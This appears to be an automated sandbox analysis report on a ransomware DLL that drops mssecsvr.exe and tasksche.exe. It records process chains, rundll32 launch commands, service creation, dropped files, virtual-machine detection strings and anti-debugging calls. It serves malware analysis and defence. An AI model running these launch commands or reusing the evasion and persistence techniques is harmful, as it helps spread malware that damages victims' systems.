File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 10_2_0041B0D9	10_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041B8B9	10_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 10_2_00414946	10_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 10_2_00410178	10_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 10_2_00404986	10_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 10_2_00429241	10_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 10_2_0042727C	10_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 10_2_0040CB23	10_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 10_2_004283FC	10_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041AC04	10_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 10_2_00416C3F	10_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 10_2_00401CC1	10_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041F4D4	10_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041BCD9	10_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 10_2_0040C4FF	10_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041B4AD	10_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 10_2_00417D78	10_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 10_2_00427D04	10_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041450F	10_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 10_2_00415D9A	10_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 10_2_00405610	10_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041462B	10_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 10_2_00413EE3	10_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 10_2_004106F4	10_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 10_2_0040C756	10_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 10_2_00402F2C	10_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 10_2_004277C0	10_2_004277C0

Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 49 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 37 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 38 times

Source: C:\Windows\tasksche.exe

Code function: 10_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

10_2_0040690A

Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.11.dr

Static PE information: No import functions for PE file found

Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View

Dropped File: C:\Windows\eee.exe 92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8

Source: vGJZ7R5D9P.dll	Virustotal: Detection: 92%
Source: vGJZ7R5D9P.dll	Metadefender: Detection: 81%
Source: vGJZ7R5D9P.dll	ReversingLabs: Detection: 85%

Source: vGJZ7R5D9P.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\vGJZ7R5D9P.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\vGJZ7R5D9P.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 10_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

10_2_00406553

Source: C:\Windows\tasksche.exe

File created: C:\Users\user\New folder

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@24/7@3/100

Source: C:\Windows\tasksche.exe

Code function: 10_2_00419BB0 CoCreateInstance,

10_2_00419BB0

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		4_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		8_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 8_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		8_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\vGJZ7R5D9P.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: C:\Windows\tasksche.exe	Command line argument: sfxname	10_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	10_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	10_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	10_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: vGJZ7R5D9P.dll

Static file information: File size 5267459 > 1048576

Source: vGJZ7R5D9P.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:

Source: C:\Windows\tasksche.exe	Code function: 10_2_0041FAE1 push ecx; ret		10_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041A4DC push eax; ret		10_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 10_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_4615125

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvr.exe TID: 4708	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 4852	Thread sleep time: -33000s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 6364	Thread sleep count: 994 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 6364	Thread sleep time: -99400s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 6604	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 12060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7868	Thread sleep time: -120000s >= -30000s

Source: C:\Windows\tasksche.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_10-19418

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 994

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 10_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		10_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 10_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		10_2_0040DE5E

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: tasksche.exe, 0000000B.00000003.440863903.00000000051DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: tasksche.exe, 0000000B.00000003.696383498.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_
Source: tasksche.exe, 0000000B.00000003.798313391.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: tasksche.exe, 0000000B.00000003.696383498.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 0000000B.00000003.845145950.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: mssecsvr.exe, 00000006.00000002.395980030.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-
Source: tasksche.exe, 0000000B.00000003.844856229.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: '6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b
Source: svchost.exe, 00000018.00000002.684838120.00000209CD08A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: tasksche.exe, 0000000B.00000003.483413395.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}''
Source: tasksche.exe, 0000000B.00000003.597403673.0000000000790000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: me#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATAoG
Source: svchost.exe, 0000000F.00000002.987312657.000001F81E802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000018.00000002.684627064.00000209CD013000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.685083021.00000209CD0EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 0000000B.00000003.696642640.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 0000000B.00000003.696339690.0000000000790000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATAbG
Source: svchost.exe, 0000000F.00000002.987483815.000001F81E829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\tasksche.exe

Code function: 10_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

10_2_0041E6DE

Source: C:\Windows\tasksche.exe

Code function: 10_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0040CEB6

Source: C:\Windows\tasksche.exe	Code function: 10_2_004234CE SetUnhandledExceptionFilter,	10_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 10_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 10_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	10_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
